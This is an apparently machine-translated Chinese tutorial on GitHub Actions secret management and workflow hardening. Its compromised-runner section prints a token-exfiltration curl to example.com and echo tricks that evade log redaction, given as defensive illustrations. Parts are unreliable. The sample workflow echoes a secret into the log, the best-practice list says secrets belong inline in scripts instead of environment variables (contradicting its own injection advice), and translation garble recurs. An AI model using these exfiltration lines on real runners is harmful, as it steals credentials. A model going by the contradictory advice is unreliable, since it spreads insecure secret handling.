管理加密的机密

已完成

机密是加密的环境变量,用于存储令牌、凭据和其他敏感信息。 GitHub Actions 工作流和作在需要时可以使用这些机密。 创建后,有权访问在其中定义机密的组织、存储库或环境的工作流和作可以访问机密。

本部分介绍如何使用 GitHub Enterprise Cloud 和 GitHub Enterprise Server 中的工具和策略来管理加密的机密。 你还将了解如何在工作流和作中使用这些机密。

管理企业中的加密机密

通过 GitHub Actions,可以通过 加密机密安全地存储和使用敏感数据,例如 API 密钥、身份验证令牌、密码和证书。 这些机密安全地存储并注入到工作流中。 此设计可确保它们不会显示在日志或源代码中。

在企业环境中,有效的机密管理至关重要。 它有助于维护安全性、满足合规性要求并支持运营效率。 GitHub 允许在四个级别管理机密:企业组织存储库和环境。

加密机密的范围

了解机密 的范围 对于在企业环境中安全地管理机密至关重要。

机密级别 范围 谁可以访问 常见用例
企业级机密 应用于 GitHub Enterprise Cloud 组织中的所有存储库。 企业所有者、安全管理员 跨多个存储库共享凭据。
组织级机密 应用于组织中的所有存储库;(可选)限制为所选存储库。 组织所有者、安全管理员 访问云服务和共享数据库。
存储库级机密 仅适用于单个存储库。 存储库管理员、工作流运行程序 保护一个存储库中部署的凭据。
环境级机密 应用于存储库中的特定部署环境,例如过渡或生产环境。 指定环境中的工作流运行程序 按部署环境分隔凭据。

重要注意事项:

  • 企业机密 专用于 GitHub Enterprise Cloud,支持跨组织进行集中管理。
  • 组织机密 提供精细的访问控制,可以限制为特定的存储库。
  • 通过限制对工作流环境的访问,环境机密有助于防止意外泄露。

在组织级别管理加密的机密

在组织级别创建加密机密有助于保护敏感信息,同时减少跨多个存储库管理机密所需的工作量。

例如,一些在 GitHub 组织中编写工作流的开发人员需要凭据才能将代码部署到某些工作流中的生产环境。 为了避免共享此敏感信息,你可以在组织级别创建一个包含凭据的加密机密。 通过此方式,可在工作流中使用凭据而不会公开它。

若要在组织级别创建机密,请转到你的组织“设置”,然后在边栏中选择“机密和变量”“操作”>“新建组织机密”>。 在出现的屏幕中,输入名称和值,然后为机密选择存储库访问策略:

适用于组织的新机密屏幕。

保存后,访问策略将显示在列表中的机密下方:

加密的机密示例,其中显示了访问策略。

选择“更新”可以详细了解为机密配置的权限。

通过 GitHub CLI 管理 Organization-Level 加密机密

  • 为组织创建机密:
    gh secret set SECRET_NAME --org my-org --body "super-secret-value"
    
  • 列出所有组织机密:
    gh secret list --org my-org
    
  • 更新现有机密:
    gh secret set SECRET_NAME --org my-org --body "new-secret-value"
    
  • 删除机密:
    gh secret delete SECRET_NAME --org my-org
    

组织机密的安全注意事项

  • 将机密限制为特定的存储库 ,而不是默认授予对所有存储库的访问权限。
  • 实现基于角色的访问控制(RBAC), 以确保只有经过授权的团队成员才能创建、更新或删除机密。
  • 定期监视访问日志 ,以识别和响应未经授权的使用或可疑活动。

在存储库级别管理加密的机密

若要将机密限定到特定存储库,请使用 GitHub Enterprise Cloud 或 GitHub Enterprise Server。

创建存储库级机密

  1. 导航到存储库的设置。
  2. 选择“机密和变量 > 作”,然后选择 “新建存储库机密”。
  3. 输入 机密的名称和值。

存储库的新机密屏幕。

通过 CLI 管理存储库级加密机密

  • 列出存储库机密:

    gh secret list --repo my-repo
    
  • 更新存储库机密:

    gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"
    
  • 删除存储库机密:

    gh secret delete SECRET_NAME --repo my-repo
    

在操作和工作流中访问加密机密

在工作流中

使用 secrets 上下文访问机密。 使用密码 with 作为输入传递,或 env 将其设置为环境变量。

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}
  • 使用 with将机密 作为输入参数传递给作。 当作在其中 action.yml显式定义输入时,通常使用此方法。

  • 使用 env将机密公开 为步骤的环境变量。 当步骤中的命令或作中的脚本需要环境变量时,此方法非常有用。

在作中

若要在自定义作中使用机密,请将其定义为元数据文件中的 action.yml 输入,并将它们作为作代码中的环境变量进行访问。

inputs:
  super_secret:
    description: 'My secret token'
    required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
  • action.yml将机密指定 为必需输入或可选输入。

  • 在代码中访问:使用 Actions Toolkit(建议)读取机密,或者通过引用环境变量(如果已设置)。

警告

避免在作源代码中硬编码机密。 若要安全地管理输入和机密, 请使用 Actions Toolkit 处理代码逻辑中的值。

为 GitHub Actions 配置安全强化

GitHub Actions 的安全强化在确保软件供应链安全方面起着重要作用。 以下部分将指导你完成建议的做法,以加强工作流中使用的作的安全性。

确定缓解脚本注入攻击的最佳做法

有关缓解 GitHub作上的脚本注入攻击的一些最佳做法包括:

  1. 使用 Javascript作而不是内联脚本:使用接受上下文值作为参数的 Javascript作,而不是将这些值嵌入内联脚本中。 此方法可降低脚本注入的风险,因为上下文数据不用于直接生成或执行 shell 命令。

    将变量作为输入传递给 JavaScript作有助于防止它在脚本注入攻击中使用。

     uses: fakeaction/checktitle@v3
     with:
       title: ${{ github.event.pull_request.title }} 
    
  2. 在内联脚本中使用中间环境变量:使用内联脚本时,请在命令中使用变量之前将其评估为环境变量。 此方法可确保在脚本运行之前解析值,从而减少脚本注入的风险。 例如,用作 github.event.pull_request.title 环境变量有助于防止注入漏洞:

    - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi
    

    显示与管理加密机密相关的拉取请求接口的屏幕截图。

    显示与加密机密相关的 GitHub Actions 工作流执行的屏幕截图。

  3. 利用工作流模板实现代码扫描导航到 存储库的 “作 ”选项卡,然后选择左窗格中的“ 新建工作流 ”按钮。 在 “选择工作流 ”页上, 找到安全 ”部分以访问和应用工作流模板。

    将 CodeQL 扫描程序配置为在特定事件上运行,使其能够扫描分支的文件,并在工作流中使用的作中标记 CWE(常见弱点枚举),包括脚本注入等漏洞。

    显示创建用于管理加密机密的新 GitHub Actions 工作流的屏幕截图。

    显示与管理加密机密相关的 CodeQL 配置的屏幕截图。

  4. 限制令牌的权限:确保始终将令牌 rule of least privilege 应用于任何创建的令牌。 换句话说,请确保为令牌分配最低特权,以实现为其创建的任务。

安全使用第三方作的最佳做法

遵循以下最佳做法,安全地将第三方作合并到工作流中:

  1. 仅当作者受信任时,才会将作固定到标记仅在验证并信任作的作者时,才v2使用版本v1标记。 此作有助于降低将来版本中意外更改的风险。

    - name: Checkout
      uses: actions/checkout@v4  # Pinned to a specific version tag
    
  2. 首选将作固定到完整提交 SHA 固定到完整提交 SHA 可确保使用作的不可变版本。 始终验证提交 SHA 是否来自预期的存储库。

    - name: Checkout
      uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
    
  3. 审核作的源代码 查看作的源以确认它安全地处理数据,不包括意外或恶意行为。

可信第三方作的指示器

使用受信任的作来降低工作流中的风险。

  • 查找已验证的锁屏提醒: 可信作显示在 GitHub 市场中,并在游戏旁边显示一个 已验证的创建者 徽章,通知你该创建者已被 GitHub 验证。

  • 检查文档:action.yml该文件应记录良好,并清楚地描述作的工作原理。

显示用于管理加密机密的 GitHub 市场界面的屏幕截图。

使用 Dependabot 版本更新使作保持最新

启用 Dependabot 版本更新以自动使 GitHub Actions 依赖项保持最新和安全。

受损运行器的潜在影响

本部分介绍在运行程序遭到入侵时可能利用的攻击途径。

从运行程序外泄数据

虽然 GitHub Actions 会自动从日志中编辑机密,但此修订不是完整的安全边界。 如果运行程序遭到入侵,攻击者可以通过将机密打印到日志来故意公开机密。 例如:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

泄露的运行程序还可用于使用脚本化 HTTP 请求将机密或其他敏感存储库数据转发到外部服务器。

对机密的访问

使用 pull_request 事件的分叉存储库触发的工作流具有只读权限,并且无法访问机密。 但是,权限因事件类型而异,例如issue_commentissuespushpull_request来自同一存储库中的分支。 如果运行程序遭到入侵,则可能会公开存储库机密,或者可能滥用具有写入权限的 GITHUB_TOKEN 作业。

  • 如果将机密或令牌分配给环境变量,则可以直接使用 printenv它进行访问。
  • 如果机密直接在表达式中引用,则包含解析值的生成的 shell 脚本存储在磁盘上,并且可访问。
  • 对于自定义作,风险级别取决于在作逻辑中处理机密的方式。 例如:
uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

尽管 GitHub Actions 在工作流中或包含的作中未引用机密时会从内存中删除机密, GITHUB_TOKEN 但如果运行程序遭到入侵,并且任何主动使用的机密仍面临被收获的风险。

窃取作业 GITHUB_TOKEN

攻击者可能能够窃取作业。GITHUB_TOKEN GitHub Actions 会自动向此令牌提供限制为运行工作流的存储库的作用域权限。 令牌在作业完成后过期,之后不能重复使用。

但是,入侵的运行程序可用于在作业执行期间立即外泄令牌。 攻击者可以自动执行对服务器的请求,以便在令牌过期之前捕获令牌。 例如:

curl http://example.com?token=$GITHUB_TOKEN

修改存储库内容

GITHUB_TOKEN如果被盗,攻击者控制的系统可以使用它调用 GitHub API 并修改存储库内容。

将最小特权原则应用于令牌的权限有助于降低此风险。 仅将令牌的访问权限限制为作业所需的内容。

管理跨存储库访问

当工作流需要访问多个存储库时,请务必选择可最大程度地降低安全风险的凭据。 从最不首选选项列出的一些建议选项包括:

  1. GITHUB_TOKEN

    GitHub 自动生成 GITHUB_TOKEN 每个工作流运行。 它的范围限定为触发工作流的单个存储库,并提供与该存储库上的写入访问用户等效的权限。 令牌在每个作业的开头创建,并在作业完成时过期。

    GITHUB_TOKEN尽可能使用安全和限定范围的身份验证。 有关详细信息,请参阅 自动令牌身份验证

  2. 存储库部署密钥

    若要在工作流中使用 Git 克隆或推送,请使用提供对单个存储库的读取或写入访问权限的部署密钥。

但是,部署密钥不支持访问 GitHub 的 REST 或 GraphQL API。 仅当不需要 API 访问并且 Git 访问足够时,才使用它们。

  1. GitHub 应用令牌

    GitHub Apps 提供精细的权限,可在所选存储库上安装。 可以创建内部 GitHub 应用,将其安装在必要的存储库上,并在工作流中作为应用安装进行身份验证以访问这些存储库。

与个人令牌相比,此方法提供更好的访问控制和审核。

  1. 个人访问令牌(PAT)

    避免在工作流中使用经典个人访问令牌。 这些令牌授予与用户关联的所有个人和组织存储库的广泛访问权限,从而带来重大风险。 如果工作流在具有多个参与者的存储库中运行,则所有写入访问用户都会有效地继承该令牌的权限。

如果必须使用个人令牌,请创建绑定到专用组织帐户的 细化 PAT 。 仅限制其访问工作流所需的特定存储库。

注释

此方法难以缩放,最好避免使用部署密钥或 GitHub 应用。

显示用于生成新 GitHub 个人访问令牌的按钮的屏幕截图。

  1. 个人帐户上的 SSH 密钥

    切勿在工作流中使用个人帐户中的 SSH 密钥。 与经典 PAT 一样,它们授予对与帐户关联的所有存储库(包括个人和组织存储库)的访问权限。 此错误使工作流面临不必要的风险。

如果用例涉及通过 Git 克隆或推送,请考虑改用部署密钥。 它们提供有作用域的访问权限,无需公开不相关的存储库或要求个人凭据。

审核 GitHub作事件

运行作的类型,以及执行作的个人帐户记录在“安全日志”和“审核日志”中。 “安全日志”记录与用户帐户相关的事件。 “审核日志”记录与组织相关的事件。 因此,通过查看这两个日志,可以审核与 Github作相关的事件。

将 OIDC 与 GitHub Actions 配合使用

可以将工作流配置为使用 OIDC(OpenID Connect)直接与云提供商进行身份验证。 在这种情况下,不再需要将凭据存储为机密。

GitHub Actions 的项目证明

项目证明有助于建立生成证明,通过验证生成的内容、位置和方式来改善软件供应链安全性。

需要证明的内容

借助 GitHub Actions,可以证明为二进制文件和容器映像生成出处和 SBOM(软件材料清单)。

为生成生成项目证明

生成生成项目证明时,必须确保:

  • 你在工作流中配置了适当的权限
  • 你已在工作流中包含一个使用 证明-生成-证明作 的步骤。

证明建立了生成出处。 可以在存储库的 “作 ”选项卡中查看证明。

显示 GitHub 中与管理加密机密相关的证明配置的屏幕截图。

生成二进制文件的生成证明
  1. 必须将以下权限添加到生成要为其证明的二进制文件的工作流:

       permissions:
        id-token: write
        contents: read
        attestations: write
    
  2. 在生成二进制文件的步骤之后,必须添加以下步骤:

      - name: Generate artifact attestation
        uses: actions/attest-build-provenance@v2
        with:
         subject-path: 'PATH/TO/ARTIFACT'
    

注释

请注意,参数的值 subject-path 设置为证明的二进制文件的路径。

生成容器映像生成证明
  1. 将以下权限添加到生成容器映像的工作流:

    permissions:
      id-token: write
      contents: read
      attestations: write
      packages: write
    
  2. 生成容器映像后添加此步骤:

    - name: Generate artifact attestation
      uses: actions/attest-build-provenance@v2
      with:
        subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
        subject-digest: 'sha256:fedcba0...'
        push-to-registry: true
    

    注释

    • 该值 subject-name 必须是完全限定的映像名称,例如 ghcr.io/user/appacme.azurecr.io/user/app不要包含标记。
    • 必须是 subject-digest 图像的 SHA256 摘要,格式 sha256:HEX_DIGEST
    • 如果工作流使用 docker/build-push-action,可以从其输出中检索摘要。 有关详细信息,请参阅 GitHub Actions 的工作流语法

为 SBOM 生成证明

你可以为 SBOM 生成 SBOM 证明。 若要生成并证明 SBOM,必须执行以下步骤:

  • 请确保在工作流中设置适当的权限,如示例所示。
  • 必须在工作流中的步骤中为项目生成 SBOM。 有关示例,请参阅 GitHub 市场中的 anchore-sbom-action。
  • 在工作流中包含使用证明-sbom作的步骤(请参阅以下示例)
为二进制文件生成 SBOM 证明
  1. 将以下权限添加到生成要为其生成 SBOM 证明的二进制文件的工作流:

        permissions:
         id-token: write
         contents: read
         attestations: write
    
  2. 在生成二进制文件并生成 SBOM 的步骤后添加以下步骤:

        - name: Generate SBOM attestation
        uses: actions/attest-sbom@v1
        with:
          subject-path: 'PATH/TO/ARTIFACT'
          sbom-path: 'PATH/TO/SBOM'
    

请注意,参数的值 subject-path 应设置为 SBOM 描述的二进制文件的路径。 sbom-path 参数的值应设置为你生成的 SBOM 文件的路径。

为容器映像生成 SBOM 证明
  1. 必须将以下权限添加到生成要为其生成 SBOM 证明的二进制文件的工作流:

       permissions:
        id-token: write
        contents: read
        attestations: write
        packages: write
    
  2. 在生成二进制文件和生成 SBOM 的步骤后,必须添加以下步骤:

        - name: Generate SBOM attestation
        uses: actions/attest-sbom@v1
        with:
          subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
          subject-digest: 'sha256:fedcba0...'
          sbom-path: 'sbom.json'
          push-to-registry: true
    

请注意,参数的值 subject-name 指定完全限定的图像名称。 例如,ghcr.io/user/appacme.azurecr.io/user/app。 请勿在映像名称中包含标记。

参数的值 subject-digest 应设置为 SHA256 证明主题的摘要,格式为 sha256:HEX_DIGEST。 如果工作流使用 docker/build-push-action,则可以使用该步骤中的摘要输出来提供值(请参阅 生成-推送作)。 有关使用输出的详细信息,请参阅 GitHub Actions 的工作流语法

参数的值 sbom-path 应设置为要为其证明的 JSON 格式 SBOM 文件的路径。

使用 GitHub CLI 验证项目证明

可以使用 GitHub CLI 验证上面概述的项目证明。 有关详细信息,请参阅 GitHub CLI 手册的 证明部分

警告

请务必记住,项目证明不能保证项目是安全的。 相反,项目证明会将你链接到源代码和生成它们的生成说明。 可以定义策略标准,通过评估内容来评估该策略,并在使用软件时做出明智的风险决策。

在操作和工作流中访问加密机密

示例:在工作流中使用机密

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

在工作流中使用机密的最佳做法

  • 不要使用 打印日志中的机密。echo ${{ secrets.SECRET_NAME }}
  • 在脚本命令中使用机密,而不是将它们分配给环境变量。
  • 通过在最低必要级别定义机密来限制访问
  • 定期轮换机密 并相应地更新工作流。

如何使用第三方保管库

许多企业将 GitHub Actions 与 HashiCorp Vault、AWS 机密管理器和 Azure Key Vault 等外部机密管理解决方案集成。

1. HashiCorp Vault

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS (Amazon Web Services) 机密管理器

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

使用第三方保管库的好处

  • 集中式机密管理 可降低安全风险。
  • 自动机密轮换 有助于遵守安全策略。
  • 审核日志和访问控制 可增强安全监视。
  • 最小特权访问 可防止未经授权使用机密。